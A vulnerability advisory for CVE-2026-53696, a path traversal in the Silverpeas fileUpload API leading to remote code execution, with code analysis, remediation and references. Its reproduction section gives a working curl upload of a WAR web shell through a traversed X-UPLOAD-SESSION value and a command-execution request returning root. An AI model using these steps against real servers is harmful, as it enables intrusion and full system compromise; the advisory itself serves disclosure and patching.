> ## Documentation Index
> Fetch the complete documentation index at: https://hackwithmike.com/llms.txt
> Use this file to discover all available pages before exploring further.

# CVE-2026-53696: Path Traversal to Remote Code Execution in Silverpeas

> Path traversal in the Silverpeas fileUpload API through version 6.4.6 allows a low-privilege user to achieve remote code execution.

## Summary

The `/services/fileUpload` endpoint in Silverpeas through 6.4.6 constructs its upload base directory from the attacker-controlled `X-UPLOAD-SESSION` multipart form field without rejecting path traversal. An authenticated low-privilege user can escape the temporary directory and write a WAR payload into the application server's deployment directory, leading to remote code execution.

| Field             | Details                                                                         |
| ----------------- | ------------------------------------------------------------------------------- |
| CVE               | CVE-2026-53696                                                                  |
| Weaknesses        | CWE-22: Path Traversal; CWE-434: Unrestricted Upload                            |
| Affected versions | Through 6.4.6                                                                   |
| Fixed version     | 6.4.7                                                                           |
| Required access   | Low-privilege authenticated account                                             |
| CVSS 3.1          | 9.9 Critical; `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H`                    |
| CVSS 4.0          | 9.4 Critical; `CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H` |

## Technical details

The upload resource receives both the session identifier and file as multipart form fields:

```java wrap theme={null}
@FormParam(FileUploadData.X_UPLOAD_SESSION)
private String uploadSessionId;

@FormParam("file_upload")
private RequestFile requestFile;
```

`FileUploadData` rejects traversal only in `fullPath`. It stores `uploadSessionId` without applying the same check:

```java wrap theme={null}
private FileUploadData(String uploadSessionId, String fullPath,
    final String componentInstanceId) {
  if (isDefined(fullPath) && fullPath.contains("..")) {
    SilverLogger.getLogger("silverpeas.core.security")
        .error("Path Traversal attack detected");
    throw new WebApplicationException(Response.Status.FORBIDDEN);
  }
  this.uploadSessionId = uploadSessionId;
  this.fullPath = fullPath;
  this.name = isDefined(fullPath) ? new File(fullPath).getName() : "";
  this.componentInstanceId = componentInstanceId;
}
```

The unchecked value is then used to construct the upload directory:

```java wrap theme={null}
uploadSessionFolder = new File(
    FileRepositoryManager.getTemporaryPath(), uploadSessionId);

return new UploadSessionFile(
    this, fullPath, new File(uploadSessionFolder, fullPath));
```

For example, if the temporary directory is `/opt/silverpeas/temp/`, an upload session of `../../../../../opt/wildfly/standalone/deployments/` moves the base outside that directory. A clean filename such as `cmd.war` then passes the `fullPath` check and resolves under WildFly's deployment directory.

## Reproduction

The following steps use a low-privilege user's API token and a prebuilt WAR containing a JSP command handler.

### 1. Upload the WAR through the traversed session directory

```bash wrap theme={null}
curl -k -X POST 'https://<target>/silverpeas/services/fileUpload' \
  -H 'Authorization: Bearer <api-token>' \
  -F 'X-UPLOAD-SESSION=../../../../../opt/wildfly/standalone/deployments/' \
  -F 'file_upload=@cmd.war;filename=cmd.war'
```

The JSON response shows both the attacker-controlled session identifier and the clean file path:

```json wrap theme={null}
[
  {
    "uploadSessionId": "../../../../../opt/wildfly/standalone/deployments/",
    "fullPath": "cmd.war",
    "name": "cmd.war"
  }
]
```

<Frame caption="The upload response and resulting file in the selected directory">
  <img src="https://mintcdn.com/hackwithmike/soLC7YnAL79cy3rk/assets/images/research/silverpeas/cve-2026-53696-upload-response.png?fit=max&auto=format&n=soLC7YnAL79cy3rk&q=85&s=8fe7cd3bd8c54bbedf56ab6a2c9d1d8d" alt="Upload response beside the file written outside the temporary upload directory" width="2205" height="1098" data-path="assets/images/research/silverpeas/cve-2026-53696-upload-response.png" />
</Frame>

<Frame caption="Writing an arbitrary file outside the temporary upload directory">
  <video controls preload="metadata" alt="Demonstration of path traversal through the X-UPLOAD-SESSION multipart form field" aria-label="Demonstration of path traversal through the X-UPLOAD-SESSION multipart form field" style={{ width: '100%' }}>
    <source src="https://mintcdn.com/hackwithmike/p7ac3gH7YlwQqU4v/assets/videos/research/silverpeas/cve-2026-53696-arbitrary-write.webm?fit=max&auto=format&n=p7ac3gH7YlwQqU4v&q=85&s=5d0b7da3f9ff28c17b75659d7684d926" type="video/webm" data-path="assets/videos/research/silverpeas/cve-2026-53696-arbitrary-write.webm" />
  </video>
</Frame>

### 2. Wait for hot deployment and execute a command

WildFly detects and deploys the archive. The JSP can then be reached through the WAR's context path:

```http wrap theme={null}
GET /cmd/cmd.jsp?cmd=id HTTP/1.1
Host: <target>
```

The test container returned:

```text wrap theme={null}
uid=0(root) gid=0(root) groups=0(root)
```

<Frame caption="Command execution after WildFly deploys the uploaded WAR">
  <img src="https://mintcdn.com/hackwithmike/soLC7YnAL79cy3rk/assets/images/research/silverpeas/cve-2026-53696-command-execution.png?fit=max&auto=format&n=soLC7YnAL79cy3rk&q=85&s=19529483e831d8db932c7bb91d742169" alt="Terminal showing the uploaded WAR and command output from the deployed web shell" width="983" height="482" data-path="assets/images/research/silverpeas/cve-2026-53696-command-execution.png" />
</Frame>

<Frame caption="Complete path traversal and remote-code-execution chain">
  <video controls preload="metadata" alt="Demonstration of uploading a WAR through session path traversal and executing a command" aria-label="Demonstration of uploading a WAR through session path traversal and executing a command" style={{ width: '100%' }}>
    <source src="https://mintcdn.com/hackwithmike/p7ac3gH7YlwQqU4v/assets/videos/research/silverpeas/cve-2026-53696-upload-rce.webm?fit=max&auto=format&n=p7ac3gH7YlwQqU4v&q=85&s=997a07efc93584fd640ef7504782b03f" type="video/webm" data-path="assets/videos/research/silverpeas/cve-2026-53696-upload-rce.webm" />
  </video>
</Frame>

## Impact

Any authenticated user who can call the upload API can write outside the intended temporary directory. On the official deployment, placing a WAR in WildFly's deployment directory leads to command execution with the application server's operating-system privileges.

## Remediation

Upgrade to Silverpeas 6.4.7 or later. Validate `uploadSessionId` before using it as a path component. The final canonical path should also be checked to confirm that it remains below the configured temporary directory.

## References

* [Research article: file uploads and remote code execution](/research/silverpeas/2026-09#file-uploads-and-remote-code-execution)
* [Silverpeas fix commit](https://github.com/Silverpeas/Silverpeas-Core/commit/b1d65df25a0b8f0e3fde7fa5b57452eadffc644c)
* [Silverpeas 6.4.7](https://github.com/Silverpeas/Silverpeas-Core/releases/tag/6.4.7)
* [CVE record](https://www.cve.org/CVERecord?id=CVE-2026-53696)
